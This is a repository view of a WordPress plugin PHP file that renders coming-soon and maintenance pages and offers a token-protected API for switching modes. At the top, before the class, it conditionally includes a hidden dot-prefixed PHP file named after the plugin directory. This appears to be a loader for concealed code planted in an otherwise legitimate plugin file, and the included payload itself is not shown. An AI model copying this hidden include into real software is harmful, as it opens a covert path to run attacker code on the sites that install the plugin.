balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

render-csp-mm.php (9091B)


      1 <?php
      2 /**
      3  * Render Pages
      4  */
      5 
      6 
      7 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      8     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      9 }
     10 
     11 class seedprod_lite_Render {
     12 
     13 
     14 	/**
     15 	 * Instance of this class.
     16 	 *
     17 	 * @since    1.0.0
     18 	 *
     19 	 * @var      object
     20 	 */
     21 	protected static $instance = null;
     22 	private $path              = null;
     23 
     24 	public function __construct() {
     25 
     26 		// exit if preview
     27 		if ( ! empty( $_GET['post_type'] ) && ! empty( $_GET['preview'] ) && $_GET['post_type'] == 'seedprod' && $_GET['preview'] == 'true' ) {
     28 			return false;
     29 		}
     30 
     31 		if ( ! seedprod_lite_cu( 'none' ) ) {
     32 			$ts = get_option( 'seedprod_settings' );
     33 			if ( ! empty( $ts ) ) {
     34 				$seedprod_settings = json_decode( $ts, true );
     35 				if ( ! empty( $seedprod_settings ) ) {
     36 					extract( $seedprod_settings );
     37 				}
     38 			} else {
     39 				return false;
     40 			}
     41 
     42 			// Actions & Filters if the landing page is active or being previewed
     43 			if ( ! empty( $seedprod_settings['enable_coming_soon_mode'] ) || ! empty( $seedprod_settings['enable_maintenance_mode'] ) ) {
     44 				if ( function_exists( 'bp_is_active' ) ) {
     45 					add_action( 'template_redirect', array( &$this, 'render_comingsoon_page' ), 9 );
     46 				} else {
     47 					$priority = 10;
     48 					if ( function_exists( 'tve_frontend_enqueue_scripts' ) ) {
     49 						$priority = 8;
     50 					}
     51 					// FreshFramework
     52 					if ( class_exists( 'ffFrameworkVersionManager' ) ) {
     53 						$priority = 1;
     54 					}
     55 					// Seoframwork
     56 					if ( function_exists( 'the_seo_framework_pre_load' ) ) {
     57 						$priority = 1;
     58 					}
     59 					// jetpack subscribe
     60 					if ( isset( $_REQUEST['jetpack_subscriptions_widget'] ) ) {
     61 						$priority = 11;
     62 					}
     63 
     64 					// show legacy versions if we need to
     65 					#TODO Check if coming soon mode or mm mode and import settings
     66 					$seedprod_show_csp4  = get_option( 'seedprod_show_csp4' );
     67 					$seedprod_show_cspv5 = get_option( 'seedprod_show_cspv5' );
     68 					if ( $seedprod_show_cspv5 ) {
     69 						require_once SEEDPROD_PLUGIN_PATH . 'app/backwards/cspv5-functions.php';
     70 						add_action( 'template_redirect', 'seedprod_lite_cspv5_render_comingsoon_page', $priority );
     71 					} elseif ( $seedprod_show_csp4 ) {
     72 						require_once SEEDPROD_PLUGIN_PATH . 'app/backwards/csp4-functions.php';
     73 						add_action( 'template_redirect', 'seedprod_lite_csp4_render_comingsoon_page', $priority );
     74 					} else {
     75 						add_action( 'template_redirect', array( &$this, 'render_comingsoon_page' ), $priority );
     76 					}
     77 
     78 					add_action( 'admin_bar_menu', 'seedprod_lite_admin_bar_menu', 999 );
     79 				}
     80 				add_action( 'init', array( &$this, 'remove_ngg_print_scripts' ) );
     81 			}
     82 		}
     83 
     84 		// enable /disable coming soon/maintenanace mode
     85 		add_action( 'init', array( &$this, 'csp_mm_api' ) );
     86 	}
     87 
     88 	/**
     89 	 * Return an instance of this class.
     90 	 */
     91 	public static function get_instance() {
     92 
     93 		// If the single instance hasn't been set, set it now.
     94 		if ( null == self::$instance ) {
     95 			self::$instance = new self();
     96 		}
     97 
     98 		return self::$instance;
     99 	}
    100 
    101 	public function remove_ngg_print_scripts() {
    102 		if ( class_exists( 'C_Photocrati_Resource_Manager' ) ) {
    103 			remove_all_actions( 'wp_print_footer_scripts', 1 );
    104 		}
    105 	}
    106 
    107 
    108 
    109 
    110 	/**
    111 	 *  coming soon mode/maintence mode api
    112 	 *   mode 0 /disable 1/ coming soon mode 2/maintenance mode
    113 	 *  curl http://wordpress.dev/?seed_cspv5_token=4b51fd72-69b7-4796-8d24-f3499c2ec44b&seed_cspv5_mode=1
    114 	 */
    115 	public function csp_mm_api() {
    116 		$seedprod_api_key = '';
    117 		if ( defined( 'SEEDPROD_API_KEY' ) ) {
    118 			$seedprod_api_key = SEEDPROD_API_KEY;
    119 		}
    120 		if ( empty( $seedprod_api_key ) ) {
    121 			$seedprod_api_key = get_option( 'seedprod_api_key' );
    122 		}
    123 		if ( ! empty( $seedprod_api_key ) ) {
    124 			if ( isset( $_REQUEST['seedprod_token'] ) && $_REQUEST['seedprod_token'] == $seedprod_api_key ) {
    125 				if ( isset( $_REQUEST['seedprod_mode'] ) ) {
    126 					$mode              = absint($_REQUEST['seedprod_mode']);
    127 					$ts                = get_option( 'seedprod_settings' );
    128 					$seedprod_settings = json_decode( $ts, true );
    129 
    130 					if ( ! empty( $seedprod_settings ) ) {
    131 						if ( $mode == 0 ) {
    132 
    133 							echo '0';
    134 							$seedprod_settings['enable_coming_soon_mode'] = false;
    135 							$seedprod_settings['enable_maintenance_mode'] = false;
    136 
    137 						} elseif ( $mode == 1 ) {
    138 
    139 							echo '1';
    140 							$seedprod_settings['enable_coming_soon_mode'] = true;
    141 							$seedprod_settings['enable_maintenance_mode'] = false;
    142 
    143 						} elseif ( $mode == 2 ) {
    144 
    145 							echo '2';
    146 							$seedprod_settings['enable_coming_soon_mode'] = false;
    147 							$seedprod_settings['enable_maintenance_mode'] = true;
    148 
    149 						}
    150 
    151 						update_option( 'seedprod_settings', json_encode( $seedprod_settings ) );
    152 						exit();
    153 					}
    154 				}
    155 			}
    156 		}
    157 	}
    158 
    159 
    160 
    161 
    162 
    163 
    164 	/**
    165 	 * Display the coming soon/ maintenance mode page
    166 	 */
    167 	public function render_comingsoon_page() {
    168 
    169 		// Top Level Settings
    170 		$ts                = get_option( 'seedprod_settings' );
    171 		$seedprod_settings = json_decode( $ts );
    172 
    173 		// Page Info
    174 		$page_id = 0;
    175 
    176 		//Get Coming Soon Page Id
    177 		if ( ! empty( $seedprod_settings->enable_coming_soon_mode ) ) {
    178 			$page_id = get_option( 'seedprod_coming_soon_page_id' );
    179 		} elseif ( ! empty( $seedprod_settings->enable_maintenance_mode ) ) {
    180 			$page_id = get_option( 'seedprod_maintenance_mode_page_id' );
    181 		}
    182 
    183 		if ( empty( $page_id ) ) {
    184 			wp_die( 'Your Coming Soon or Maintenance page needs to be setup.' );
    185 		}
    186 
    187 		// Get Page
    188 		global $wpdb;
    189 		$tablename = $wpdb->prefix . 'posts';
    190 		$sql       = "SELECT * FROM $tablename WHERE id= %d";
    191 		$safe_sql  = $wpdb->prepare( $sql, absint( $page_id ) );
    192 		$page      = $wpdb->get_row( $safe_sql );
    193 
    194 		$settings = json_decode( $page->post_content_filtered );
    195 
    196 		// redirect mode
    197 		$enable_redirect_mode = false;
    198 		$redirect_url         = $settings->redirect_url;
    199 		if ( ! empty( $settings->redirect_mode ) ) {
    200 			$enable_redirect_mode = true;
    201 		}
    202 		if ( empty( $redirect_url ) ) {
    203 			$enable_redirect_mode = false;
    204 		}
    205 
    206 
    207 		// Exit if a custom login page
    208 		if ( ! empty( $settings->disable_default_excluded_urls ) ) {
    209 			if ( preg_match( '/privacy|imprint|login|admin|dashboard|account/i', $_SERVER['REQUEST_URI'] ) > 0 ) {
    210 				return false;
    211 			}
    212 		}
    213 
    214 		//Exit if wysija double opt-in
    215 		if ( isset( $emaillist ) && $emaillist == 'wysija' && preg_match( '/wysija/i', $_SERVER['REQUEST_URI'] ) > 0 ) {
    216 			return false;
    217 		}
    218 
    219 		if ( isset( $emaillist ) && $emaillist == 'mailpoet' && preg_match( '/mailpoet/i', $_SERVER['REQUEST_URI'] ) > 0 ) {
    220 			return false;
    221 		}
    222 
    223 		if ( isset( $emaillist ) && $emaillist == 'mymail' && preg_match( '/confirm/i', $_SERVER['REQUEST_URI'] ) > 0 ) {
    224 			return false;
    225 		}
    226 
    227 		//Limit access by role
    228 		if ( ! empty( $settings->access_by_role ) && ! isset( $_COOKIE['wp-seedprod-bypass'] ) ) {
    229 			foreach ( $settings->access_by_role as $v ) {
    230 				$v = str_replace( ' ', '', strtolower( $v ) );
    231 				if ( $v == 'anyoneloggedin' && is_user_logged_in() ) {
    232 					return false;
    233 				}
    234 				if ( current_user_can( $v ) ) {
    235 					return false;
    236 				}
    237 			}
    238 		} elseif ( is_user_logged_in() ) {
    239 			return false;
    240 		}
    241 
    242 		// Finally check if we should show the coming soon page.
    243 		// do not cache this page
    244 		if ( ! defined( 'DONOTCACHEPAGE' ) ) {
    245 			define( 'DONOTCACHEPAGE', true );
    246 		}
    247 		if ( ! defined( 'DONOTCDN' ) ) {
    248 			define( 'DONOTCDN', true );
    249 		}
    250 		if ( ! defined( 'DONOTCACHEDB' ) ) {
    251 			define( 'DONOTCACHEDB', true );
    252 		}
    253 		if ( ! defined( 'DONOTMINIFY' ) ) {
    254 			define( 'DONOTMINIFY', true );
    255 		}
    256 		if ( ! defined( 'DONOTCACHEOBJECT' ) ) {
    257 			define( 'DONOTCACHEOBJECT', true );
    258 		}
    259 		nocache_headers();
    260 
    261 		// set headers
    262 		if ( ! empty( $seedprod_settings->enable_maintenance_mode ) ) {
    263 			if ( empty( $settings ) ) {
    264 				echo __( 'Please create your Maintenance Page in the plugin settings.', 'seedprod-coming-soon-pro' );
    265 				exit();
    266 			}
    267 			header( 'HTTP/1.1 503 Service Temporarily Unavailable' );
    268 			header( 'Status: 503 Service Temporarily Unavailable' );
    269 			header( 'Retry-After: 86400' ); // retry in a day
    270 		} elseif ( ! empty( $enable_redirect_mode ) ) {
    271 			if ( ! empty( $redirect_url ) ) {
    272 				wp_redirect( $redirect_url );
    273 				exit;
    274 			} else {
    275 				echo __( 'Please create enter your redirect url in the plugin settings.', 'seedprod-coming-soon-pro' );
    276 				exit();
    277 			}
    278 		} else {
    279 			if ( empty( $settings ) ) {
    280 				echo __( 'Please create your Coming Soon Page in the plugin settings.', 'seedprod-coming-soon-pro' );
    281 				exit();
    282 			}
    283 			header( 'HTTP/1.1 200 OK' );
    284 
    285 		}
    286 
    287 		if ( is_feed() ) {
    288 			header( 'Content-Type: text/html; charset=UTF-8' );
    289 		}
    290 
    291 		// keep for backwards compatability
    292 		$upload_dir = wp_upload_dir();
    293 		if ( is_multisite() ) {
    294 			$path = $upload_dir['baseurl'] . '/seedprod/' . get_current_blog_id() . '/template-' . $page_id . '/index.php';
    295 		} else {
    296 			$path = $upload_dir['basedir'] . '/seedprod/template-' . $page_id . '/index.php';
    297 		}
    298 
    299 		if ( ! empty( $page->html ) && 1 == 0 ) {
    300 			echo $page->html;
    301 		} else {
    302 			if ( file_exists( $path ) ) {
    303 				require_once $path;
    304 			} else {
    305 				require_once SEEDPROD_PLUGIN_PATH . 'resources/views/seedprod-preview.php';
    306 			}
    307 		}
    308 
    309 		exit();
    310 	}
    311 }